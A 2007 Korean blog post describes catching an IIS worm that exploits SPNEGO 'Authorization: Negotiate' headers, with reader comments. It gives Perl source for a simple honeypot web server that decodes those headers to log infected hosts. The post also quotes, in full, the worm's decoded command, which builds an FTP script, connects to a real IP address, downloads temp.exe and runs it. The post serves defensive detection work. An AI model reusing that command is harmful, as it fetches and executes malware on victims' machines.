애드센스4



39 초마다 공격당한다고? 거짓말 #2 보안 정보

지난 시간에는 얼마전 발표된 뉴스 기사의 연구 방법과 통계에 문제가 있다는 것을 말씀드렸구요, 이번 시간에는 약속한 바 대로 최근 활발했던 웜에 대해 말씀드리도록 하겠습니다.

이 웜은 Microsoft 사가 HTTP 확장 규격으로 제시한 SPENGO 라는 것을 이용해서 공격을 시도합니다. 웜의 공격 로그나 작동 방식 등 세부적인 정보가 필요하신 분들은 잠시 'IIS 웹 서버 공격 로그' 와 참고 자료를 읽어주세요.

해당 웜은 작년 8월 하반기부터 얼마 전까지 활발한 활동이 포착되어 1분당 약 3~4 회의 공격을 시도하던 웜으로, 동일한 B 클래스를 스캔해서 감염시키려고 합니다. 최근 1개월 사이에 눈에 띄게 활동이 줄어들어 2주 전부터는 하루에 2~3 개 보기도 쉽지 않아졌어요.

이 웜의 경우를 봐도 39초마다 공격당한다느니, 해커들이 SSH 브루트포스 스크립트만 돌릴 줄 아는 바보들이라느니 주장하는 게 사실과 차이가 크다는 것을 알 수 있습니다.

그러면 본격적으로 웜을 포착해볼까요? 지난 시간에도 말씀드렸듯이, 이 웜은 웹 서버 로그만으로는 공격 당하고 있다는 것을 알아차리기 어렵습니다. 저같은 경우 thttpd 로그를 보고 '이상하다. 이 부분에 어떤 HTTP 패킷이 날라왔기에 로그 데이터가 제대로 기록되지 않는 걸까?' 하는 호기심에 조사를 시작했습니다.

이 웜을 포착하기 위해선 몇 가지 방법을 생각해볼 수 있을 것입니다. thttpd 나 apache 는 모듈화가 뛰어나고 소스를 이해하기 쉽기 때문에, 소스를 고쳐서 웜의 공격 시도를 로그로 기록할 수 있겠지요. 이 방법은 남이 만들어놓은 뛰어난 프로그램의 힘을 빌 수 있다는 장점이 있지만, 앞으로 thttpd 나 apache 신규 버전이 나올 때마다 소스를 고쳐줘야 하는 부담이 있습니다.

직접 웹 서버를 만들어 로그를 기록하는 방법도 있겠죠. '웜 잡아내기 위해 웹 서버를 만든다니... 미쳤구나!' 라고 생각하실지도 모르겠습니다. HTTP 프로토콜은 http://swbae.egloos.com/1288641 에도 나와있듯이 매우 방대하므로 웹 서버나 웹 프록시를 직접 구현한다는 것은 어려운 작업입니다. 그러나 Perl, Python, Lisp 등의 스크립트 언어를 사용하면 이미 남이 만들어놓은 모듈의 힘을 빌어 단기간 내에 기본 기능을 갖춘 웹 서버를 만들 수 있습니다. 이 방법은 30분 정도 투자하면 우리가 원하는 목적에 맞는 간단한 웹 서버를 만들 수 있고, 유연하기 때문에 해커의 공격 방식 변화에 따라 신속히 소스를 변경하여 대응할 수 있다는 장점이 있는 반면, apache 등의 완전한 웹 서버에 비해 완성도가 떨어진다는 단점이 있습니다.

기본적인 네트워크 프로그래밍에 대해서는 이미 아신다고 가정하고, Perl 로 된 간단한 Multi Fork 웹 서버를 구현해보겠습니다.


#!/usr/local/bin/perl

use strict;
use IO::Socket qw(:DEFAULT :crlf);
use HTTP::Daemon;
use HTTP::Status;
use Time::localtime;
use POSIX 'WNOHANG';
use MIME::Base64;

$/=CRLF;
use constant PORT=>80; # WWW port

my $quit=0;
# signal handler for child die events
$SIG{CHLD}=sub{ while (waitpid(-1, WNOHANG)>0) {} };
# signal handler for interrupt key and TERM signal
$SIG{INT}=sub{ $quit++ };

my $d=HTTP::Daemon->new(LocalPort=>PORT,
ReuseAddr=>1);

die "Can't start a web server: $@" unless $d;

warn "Web server ready. waiting for connections...\n";

while (!$quit) {
next unless my $c=$d->accept;
my $peer=$c->peerhost;
connect_log($peer);

defined (my $child=fork()) or die "Can't fork: $!";
if ($child==0) {
$d->close;
interact($c);
close_log($peer);
exit 0;
}

$c->close;
}

subinteract {
my $sock=shift;
STDIN->fdopen($sock, "<") or die "Can't reopen STDIN: $!";
STDOUT->fdopen($sock, ">") or die "Can't reopen STDOUT: $!";
#STDERR->fdopen($sock, ">") or die "Can't reopen STDERR: $!";
$|=1;

while (my $r=$sock->get_request) {
print STDERR $r->as_string;

if ($r->method eq 'OPTIONS') {
$sock->send_response("200 OK\r\nAllow: GET,HEAD,POST,OPTIONS,TRACE");
} elsif ($r->method eq 'GET' or $r->method eq 'POST') {
$sock->send_redirect("http://swbae.egloos.com/");
} else {
$sock->send_error(RC_FORBIDDEN);
}
}
}

subconnect_log {
my $tm=localtime;
my $peer=shift;

printf STDERR ("(%04d/%02d/%02d-%02d:%02d:%02d)",
$tm->year+1900, ($tm->mon)+1, $tm->mday,
$tm->hour, $tm->min, $tm->sec
);

print STDERR "[$peer] connected\n";
}

subclose_log {
my $tm=localtime;
my $peer=shift;

printf STDERR ("(%04d/%02d/%02d-%02d:%02d:%02d)",
$tm->year+1900, ($tm->mon)+1, $tm->mday,
$tm->hour, $tm->min, $tm->sec
);

print STDERR "[$peer] connection closed\n\n";
}


위 소스는 Perl 로 된 간단한 Multi Fork 웹 서버로 다양한 HTTP 메소드 중 OPTIONS, GET, POST 를 지원하고 있습니다. 사용자가 웹 서버에 접근하면 접근한 시간과 IP, 접속을 끊은 시간을 기록하며, 사용자가 미리 지정한 웹 서버로 자동적으로 redirection 되도록 구현해놓았습니다.

위 소스를 며칠간 돌리다보면 간간이
"Authorization: Negotiate YIIQegYGKwYBBQUCoIIQbjCCEGqhghBmI4I" 같은 가비지 데이터가 날아오는 게 보이실 텐데요, 이게 우리가 잡고자 하는 웜입니다.

위 소스를 조금 수정하여 웜만 로그에 기록하도록 하겠습니다. 모듈화 되어 있기 때문에 interact() 함수만 수정하면 되는데요...

subinteract {
my $sock=shift;
STDIN->fdopen($sock, "<") or die "Can't reopen STDIN: $!";
STDOUT->fdopen($sock, ">") or die "Can't reopen STDOUT: $!";
#STDERR->fdopen($sock, ">") or die "Can't reopen STDERR: $!";
$|=1;

while (my $r=$sock->get_request) {
#print STDERR $r->as_string;

if ($r->method eq 'OPTIONS') {
$sock->send_response("200 OK\r\nAllow: GET,HEAD,POST,OPTIONS,TRACE");
} elsif ($r->method eq 'GET' or $r->method eq 'POST') {
if (my $auth=$r->header('Authorization')) {
$auth=~s/(\w+)(\w.*)/$2/;

$_=decode_base64($auth);
my ($g1, $g2, $ip, $port, $file)=/(\w+\W+\w+ \w+ )(\w+ )(\d+.\d+.\d+.\d+) (\d+)\W+.*\&(\w.*)/;
print STDERR $ip . ":" . $port . $CRLF;
}
$sock->send_redirect("http://swbae.egloos.com/");
} else {
$sock->send_error(RC_FORBIDDEN);
}
}
}


위의 소스는 웜이 들어왔을 때, base64 인코딩된 Negotiate 정보를 디코딩하여 공격에 사용되는 실제 패킷을 잡아냅니다. 여기서는 한발 더 나아가서, 웜에 감염된 좀비 PC 의 IP 주소, 웜이 운영하는 FTP 서버의 Port 번호를 기록하고 있는데, 공격에 사용되는 명령어 "cmd /k echo open 218.237.137.18 29055 > o&echo user 1 1 >> o &echo get temp.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &temp.exe" 전체를 기록할 수도 있겠죠.

이 소스의 백엔드를 수정해서 좀비 PC 정보를 DBMS, 파일에 기록하거나, F/W 과 연동해 차단하는 방법을 고려해볼 수도 있을 것입니다.

비교적 짧은 시간 내에 유연한 하니팟형 웹 서버를 만들어 공격 패킷을 잡아낼 수 있었는데요, 이 소스를 기반으로 수정해서 보다 본격적인 웹 하니팟을 만들 수도 있을 것입니다. 보안 회사 직원이라면 웹을 통해 전파되는 웜 샘플을 수집할 수 있는 엔진을 제작하여 업무량을 줄일 수도 있을 것이고, 일반 기업이라면 방화벽과 연동된 IDS 형태로 운영해서 자사 네트워크를 보호할 수도 있겠구요. 정부 기관에서 일하신다면 웜 활동 통계 수집에 활용하실 수도 있을 겁니다.

여러분이 저같은 independant security researcher 라면 Perl, Python, Lisp 같은 스크립트 언어를 익혀서 몇 가지 기본적인 엔진을 만들어두면, 국내 보안 회사들보다 훨씬 빠르고 효율적으로 해킹 동향을 파악할 수 있고, 기술 경쟁에서 앞서나갈 수 있습니다.

사실 국내 보안 회사들이 규모야 30~100명 정도 되지만, 대부분의 기업이 마인드 부족으로 전통적인 가내 수공업 방식의 업무 처리를 고수하고 있어 효율이 낮습니다. 때로는 1명이 꾸준히 작업하는 것보다 못한 경우도 많이 봐왔고... 프로그래밍 능력도 있고 똑똑한 해커를 3~4명 정도 3~6 개월 정도 집중 투입하면, 국내 보안 회사 업무 정도는 80~90 % 수준으로 자동화할 수 있습니다.

경영진 입장에선 인건비가 줄고, 숙련된 보안 인력 입장에선 단순 반복 작업을 벗어나 보다 경쟁력있는 기술에 집중할 수 있습니다. 고객 입장에선 보다 값싸고 다양한 보안 서비스를 제공받을 수 있어 좋구요. 그러나... 보안 회사들이 이런 상황을 절대 원하지 않는다는 거~ ('노마진' 어투로)

소스 전체 다운로드 : httpd.pl

즐거운 하루 되시길 바라며 이만~

--- 추가 ---
이 소스는 public domain 이므로 임의로 활용하셔도 좋습니다.
소스가 너무 작아 안보이시는 분들은 FireFox 를 사용해보세요.

트랙백

이 글과 관련된 글 쓰기 (트랙백 보내기)
TrackbackURL : http://swbae.egloos.com/tb/1521780 [도움말]

덧글

  • unanimous 2007/03/07 00:07 # 삭제 답글

    기술력으로 무장한 보안회사 하나쯤 있어도 괜찮을거 같네요.
    오히려 고객측에서는 수요가 별로 없을듯 하지만.
  • zelon 2007/03/07 00:16 # 삭제 답글

    저런식으로 웹서버 앞단에서 뭔가를(?) 할 수 있군요. 좋은 정보 얻어갑니다 :)
  • 헐랭이 2007/03/07 10:04 # 답글

    unanimous// 요새는 고객쪽이 오히려 기술적인 퀄리티를 요청하는 경우가 많더라구요.
    zelon// 앞단에 하려면 proxy 로 기능을 수정해주셔야 할 듯....
  • LEE 2007/03/07 15:15 # 삭제 답글

    죄송합니다. 이미 구축되어있는 아파치 소스를 이용해서 위와같이 로그에 기록하고 볼수있게 하려면
    어떤 레퍼런스를 참고해야할까요?
  • LEE 2007/03/07 15:22 # 삭제 답글

    아무 서비스를 하지않은 서버+헐랭이님제작소스+공인아이피 요로케 조합해서 그냥 띄어놔도
    되는건가요?
  • 헐랭이 2007/03/07 17:28 # 답글

    첫번째 방법은 cscope 같은 소스 분석 툴을 이용해 access.log 와 error.log 를 기록하는 부분을 파악해 해당 모듈을 수정하는 방법이 있겠는데, 이 방법은 유연성 측면에서 좋지 않은 듯...
    두번째 방법은 아파치 모듈로 mod_honeypot 같은 걸 만들어주시는 방법인데, Writing Apache modules with Perl and C 라는 책을 참고하시면 좋을 듯 합니다.
    그리고 위의 소스는 자체가 웹 서버이기 때문에 별도의 서버를 필요로 하지 않습니다.
  • LEE 2007/03/09 15:19 # 삭제 답글

    send 리다이렉트 이부분은 수정해야하나요? 로그는 어디에 쌓이는것인가요?
  • 헐랭이 2007/03/09 17:17 # 답글

    lee// 영어랑 프로그래밍 공부를 열심히 하시는 것이 좋을 듯 합니다. Lincoln Stein 이라는 Perl 프로그래밍 geek 이 Network Programming with Perl (http://www.amazon.com/Network-Programming-Perl-Lincoln-Stein/dp/0201615711) 이라는 서적을 썼는데, 이 책을 참조하시면 펄로 네트워크 프로그래밍하는 기초를 쌓을 수 있을 듯...
댓글 입력 영역


애드센스7